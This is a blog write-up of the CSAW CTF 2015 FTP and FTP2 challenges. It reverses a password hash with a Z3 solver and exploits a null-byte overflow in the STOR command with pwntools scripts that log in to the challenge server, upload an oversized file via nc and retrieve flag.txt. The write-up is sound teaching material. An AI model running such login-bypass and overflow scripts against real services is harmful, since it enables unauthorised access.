Hacking Tube

Site no longer updated. Migrated to https://bruce30262.github.io/

CSAW CTF 2015 -- FTP & FTP2

| Comments

Category: Reversing (FTP) & Exploitable (FTP2)
Points: 300 (FTP) & 300 (FTP2)

FTP

64 bit ELF. It's a FTP-like service, we can list all the acceptable command by sending the HELP command. Here are some important commands that we'll need to pass the challenges:

USER [username]: enter username to login
PASS [password]: enter password after sending the USER command to login as the [username]
PASV: open a port for passive mode
LIST: list the files in the directory
STOR: upload a file
RETR: download a file
RDF: read the reversing solution's flag

So after some static analysis with the help of IDA Pro, I figure out that in order to pass the reversing challenge, we'll need to login as the user blankwall. The password checking function's at 0x401540, let's take a look at it:

__int64 __fastcall sub_401540(__int64 a1)
{
  int i; // [sp+10h] [bp-8h]@1
  int v3; // [sp+14h] [bp-4h]@1

  v3 = 5381;
  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    v3 = 33 * v3 + *(_BYTE *)(i + a1);
  return (unsigned int)v3;
}

if (result == -746139127) // result should be 0xd386d209
{
    login_bit = 1;
    dword_604408 = 'f';
}

At first I was like "Ah, that's easy!", since we have the constraint system, we can just set it up and leave the rest to Z3. But after I have the solution and enter the password, the service respond it with a frustrating "Invalid login credentials". Knowing that Hex-Rays' decompiler might have the incorrect decompiling result, I re-check the password checking logic by reversing directly from the x64 assembly, not the pseudo code, and finally found the root of the problem:

mov     eax, [rbp+var_4] ; v3, with 0x1505 as the initial value
shl     eax, 5
mov     edx, eax         ; rdx = (v3 << 5) & 0xFFFFFFFF
mov     eax, [rbp+var_4] ; now rax = ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
lea     ecx, [rdx+rax]   ; ecx = (rdx + rax) & 0xFFFFFFFF
mov     eax, [rbp+var_8] ; for loop counter == index
movsxd  rdx, eax
mov     rax, [rbp+var_18]
add     rax, rdx
movzx   eax, byte ptr [rax]
movsx   eax, al ; eax = password[index]
add     eax, ecx ; 
mov     [rbp+var_4], eax ; v3 = ecx + eax

What really matters is the assembly eax, [rbp+var_4] at line 4. Notice that when the program move v3 to the register eax, it doesn't clear the highest 32 bits of the register rax. So when it runs to the line ecx, [rdx+rax], rax isn't just simply v3 & 0xFFFFFFFF, it's actually ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF), and that's where the Hex-Rays decompiler made the mistake.

So now we have the correct constraint system. Wrote a Z3 python script and retrieve the password:

#!/usr/bin/env python


from z3 import *
import sys

def check(size, xs):
    ret = BitVecVal(0x1505, 64)
    for i in xrange(size):
        eax = ret & 0xffffffff
        eax <<= 5
        rdx = eax & 0xffffffff
        rax = (0xffffffff00000000 & eax) | (ret & 0xffffffff)
        ecx = (rdx + rax) & 0xffffffff
        ecx += xs[i] & 0xff
        ret = ecx
    return (ret & 0xffffffff)

def solv(size, target):
    s = Solver()
    xs = []
    for i in xrange(size):
        x = BitVec("x%d" % i, 64)
        s.add( 33 <= x )
        s.add( x <= 122 )
        xs.append(x)

    s.add(check(size, xs) == target)
    if s.check() == sat:
        m = s.model()
        a = ""
        for i in xrange(size):
            #a += chr(int(str((m[xs[i]]))))

            print m[xs[i]]
            #print hex(int(str(m[xs[i]])))

        #print a

    else:
        print "unsat"

for size in xrange(1, 11):
    print "trying size:", size
    solv(size, 0xd386d209)

Since I don't know the password length, I just brute force it from 1 ~ 10. We can found a solution at length 6:

trying size: 0
unsat
trying size: 1
unsat
trying size: 2
unsat
trying size: 3
unsat
trying size: 4
unsat
trying size: 5
unsat
trying size: 6
86
41
66
119
116
88

Now we get the login password, time to capture the flag :)

#!/usr/bin/env python


from pwn import *
import subprocess
import sys
import time

#HOST = "localhost"

HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""

# setting 

context.arch = 'amd64'
#context.arch = 'i386'

#context.arch = 'arm'

#context.arch = 'aarch64'

context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)

#libc = ELF(LIBC_PATH)


def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

if __name__ == "__main__":

    """
    solved by z3
    trying size: 6
    86
    41
    66
    119
    116
    88
    """
    password = [86, 41, 66, 119, 116, 88]
    password = ''.join(chr(c) for c in password)

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    r.recvuntil("server\n")
    r.sendline("USER blankwall")
    r.recvuntil("blankwall\n")
    r.send("PASS "+password)
    r.recvuntil("in\n")
    r.sendline("RDF") # read the flag

    r.interactive()

The flag is: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

FTP2

So now we're logged in as a valid user, we can finally do some other stuff. After sending PASV and the LIST command, I found that there's a flag.txt in the directory. At first I try to download the file, but the service response "Invalid character specified". Well that's strange :/ so I went to the RETR function and start analyzing.

  s = filename; //[bp - 0x30]
  v7 = strlen(filename); //[bp - 0x28]
  while ( *s != dword_604408 )
  {
    --v7;
    if ( !v7 )
      break;
    ++s;
  }
  if ( s[1] )
  {
    result = sub_4014F8(*(_DWORD *)a1, "Invalid character specified\n");
  }

So...to sum it up, the program will detect whether if the filename has the character store in 0x604408, and if it does, it will refuse to let us download the file. Remeber the function that does the password checking?

if (result == -746139127) // result should be 0xd386d209
{
    login_bit = 1;
    dword_604408 = 'f'; //LOL
}

So apparently we can't have 'f' in our filename, we'll need to find another way to bypass the filter. By checking other functions, I finally found a way to bypass it.

STOR function
sub_4014F8(*(_DWORD *)a1, "transfer starting.\n");
while ( 1 )
{
  v6 = recv(*(_DWORD *)(a1 + 4), byte_604200, 0xAuLL, 0);
  if ( v6 < 0 )
    break;
  if ( !v6 )
    goto LABEL_8;
  v5 += v6;
}

sub_4014F8(*(_DWORD *)a1, "error receiving file");

LABEL_8:
  printf("Storing file %s", *(_QWORD *)(a1 + 24));
  byte_604200[(signed __int64)(signed int)v5] = 0; // overflow vulnerability
  v3 = dword_604404++;
  LODWORD(v4) = sub_40139B(v7, v5);
  qword_604840[v3] = v4;
  sub_4014F8(*(_DWORD *)a1, "transfer complete\n");
  result = sub_4023DF(a1, 4207204LL);

Here in the STOR function, if we upload a file that is big enough, we can overwrite the data at 0x604408. So it's quite simple: just create a file that is larger than 512 bytes, then upload it to the server. After that, we can download the flag.txt and get the flag.

#!/usr/bin/env python


from pwn import *
import subprocess
import sys
import time

#HOST = "localhost"

HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""

# setting 

context.arch = 'amd64'
#context.arch = 'i386'

#context.arch = 'arm'

#context.arch = 'aarch64'

context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)

#libc = ELF(LIBC_PATH)


def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

if __name__ == "__main__":

    """
    solved by z3
    trying size: 6
    86
    41
    66
    119
    116
    88
    """
    password = [86, 41, 66, 119, 116, 88]
    password = ''.join(chr(c) for c in password)

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    r.sendlineafter("server\n", "USER blankwall")
    r.sendafter("blankwall\n", "PASS "+password)
    r.recvuntil("in\n")
    log.success("login success")

    log.info("Sending dildo.txt...") # don't mind the filename LOL!

    r.sendlinethen("port: ", "PASV")
    pasv_port = int(r.recvline())
    r.sendline("STOR dildo.txt")
    myexec("cat dildo.txt | nc "+HOST+" "+str(pasv_port))
    r.recvuntil("complete\n")
    log.success("Send success!")

    log.info("Downloading flag.txt...")
    r.sendlinethen("port: ", "PASV")
    pasv_port = int(r.recvline())
    r.sendline("RETR flag.txt")
    flag = myexec("nc "+HOST+" "+str(pasv_port))
    log.success("Get flag: "+flag)

The flag is: flag{exploiting_ftp_servers_in_2015}

Comments

comments powered by Disqus